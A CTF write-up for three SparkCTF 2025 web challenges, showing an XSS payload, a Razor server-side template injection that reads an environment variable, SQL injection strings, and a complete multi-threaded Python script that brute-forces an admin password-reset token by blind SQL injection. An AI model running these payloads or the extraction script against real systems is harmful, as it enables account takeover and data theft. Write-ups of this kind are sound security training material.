SparkCTF 2025 Web Writeups
These are the writeups for 2 of the web challenges presented in SparkCTF 2025. The first one is an SSTI vulnerability in ASP.NET with Razor, and the second one is about using Blind SQL Injection to bruteforce some kind of token, and requires more logical thinking. Let’s get into it!
BugReportGen
Given the challenge name, you can figure out this app is about generating vulnerability reports. As you can see here:
Let’s play with it a bit, throw test
all over and see how the report is generated.
It reflects our input at the bottom of the page, this is important information, as it opens up the door for different injection attacks. Before getting into the juicy part, let’s understand the source code, here is the folder structure:
In the index.cshtml
file, there is something that stands out, could you figure out what it is?
If you guessed @Html.Raw(Model.RenderedOutput)
, then you are correct!
My brain was like, ‘Raw’ huh, there might be an injection of some kind then. Let’s try a basic XSS script
<img src=1 onerror="alert('Karrab was here')">
Not to miss any possible injection points, I threw the payload in every input.
We got a hit! It’s now confirmed the app is vulnerable to Cross-Site Scripting. It’s pretty clear now the description field is vulnerable.
But seeing how the application works, and where the flag is stored, I don’t think XSS will help us get anywhere from here as the compose.yaml file tells us the flag is an environment variable.
Let’s see what @Html.Raw(Model.RenderedOutput)
could also be prone to.
After some research, I found this this article, SSTI in ASP.NET Razor.
Following along, we get promising results
gives:
Essentially, we can execute C# code within these braces, it’s that simple.
@{
// C# code
}
All we need now is to read the FLAG
environment variable! Let’s pull some AI, and we get our payload!
@System.Environment.GetEnvironmentVariable("FLAG")
There goes our flag!
Grades
Going to the app link what we can see is essentially two pages; a login page here:
and a “Grade Search” page:
I played with these functionalities for a bit but it didn’t yield any considerable results. Moving on to the source code.
The file structure is pretty basic, an app.py file which contains the logic of the applicatoin and some templates which are simply the views. The app also has a whole lot of routes, as you can see down here:
To save myself some time, I tried to figure out how the application handles the flag instead of reading everything from the beginning
The flag is seen at the /admin
endpoint.
Let’s give it a visit
Alright then, time to start reading some code while asking the following question; how can I login as an admin?
One of the very first things I came across was this SQL Injection vulnerability at /grades
. The code includes user input directly in the query, instead of using prepared statements.
Could I exploit this to read the admin password and call it an easy win? Well, No, for two reasons: First, the app doesn’t show me any results even after successful SQLi exploitation
And it requires admin authentication btw not just a regular user.
Second, the admin password is hashed, and cracking it is probably not an option.
But on second thought, since this payload gives us a different response, we can exploit blind SQLi to read whatever we want from the database. Let’s keep that in mind.
If you didn’t understand this last part, or if you don’t know what Blind SQL Injection is, I suggest reading this guide from PortSwigger.
Alright then, how about leveraging SQLi to update the user password instead? This could be it! Let’s try this payload just to see what happens, (if this works I’ll hash the password don’t worry)
a%'; UPDATE users SET reset_token='test' WHERE username='admin'; -- -
And Boom! Internal Server Error!
Why didn’t this work? Is my payload that bad? I had to spin up the app locally and keep investigating, turns out this was the reason:
we can’t just append a ;
and execute statements left and right. I have to use another way then.
Checking the endpoints that are available, we can list:
- /grades
- /login
- /index
- /reset-password
- /update-password
The last two could be the final pieces of the puzzle.
/reset-password
takes a username as a parameter and will then generate a random reset_token for that user and save it the database. (It also sends him an email but that’s not really implemented).
And then the /update-password
takes a token and the new password, it would check the database for whoever user this reset_token corresponds to and reset his password.
I think we can orchestrate and attack here! What do you think? How about firing up a password reset request for the admin account, then leveraging the SQLi we found earlier to blindly bruteforce the reset_token. And eventually use it to access the admin panel!
Let’s pull up some Python
import requests
import string
import concurrent.futures
URL = "https://grades.espark.tn/grades"
charset = string.digits + string.ascii_lowercase
reset_token = ""
session = requests.Session()
def check_condition(payload):
data = {"search_query": payload}
r = session.post(URL, data=data)
return "You need to be authenticated to see results" in r.text
def find_length():
for i in range(10, 100):
if check_condition(f"a%' AND (SELECT LENGTH(reset_token) FROM users WHERE username='admin')={i}--"):
print(f"Reset token length: {i}")
return i
return 0
def extract_char(index):
for char in charset:
payload = f"a%' AND (SELECT SUBSTR(reset_token,{index},1) FROM users WHERE username='admin')='{char}'--"
if check_condition(payload):
print(f"Found char at {index}: {char}")
return char
return ""
def extract_reset_token(length):
global reset_token
with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor: # 5 threads for speed
results = list(executor.map(extract_char, range(1, length + 1)))
reset_token = "".join(results)
print(f"Admin's reset token: {reset_token}")
length = find_length()
if length:
extract_reset_token(length)
It was pretty quick after I added multi-threading
Here is our token 5e2221129af6430407cabe87f6f92a80
, resetting the admin password:
logging in!
The flag!
Capitalism
This is more of a bonus one honestly, because my solution and probably 90% of the other submissions were unintended solutions!
This challenge has practically no front end, so the work will be mostly with the source code, it also had the most basic file structure of all the other challenges:
The app only has 3 functions:
- filesHandler
- generateJWT
- loginHandler
The filesHandler
is used to read files from the files system (spoiler: I can read any file and the flag is at /flag.txt), but it requires admin authentication.
The generateJWT
function takes an employee_id and a role and makes a jwt out of them
This is how the roles are defined
var employeeDB = map[int]string{
1: "guest",
2: "employee",
0: "admin",
}
What the loginHandler
does (or tries to do lol) is get an employee_id and a password, then check if the provided password is equal to the admin password, and if so it will log you in as an administrator.
But there is some weird behavior that happens (It’s your task now to figure it out) which makes this request return a valid jwt immediately without having to specify a password!
I took that token and used it to login as an admin and read the flag using the filesHandler
function!
Peace out!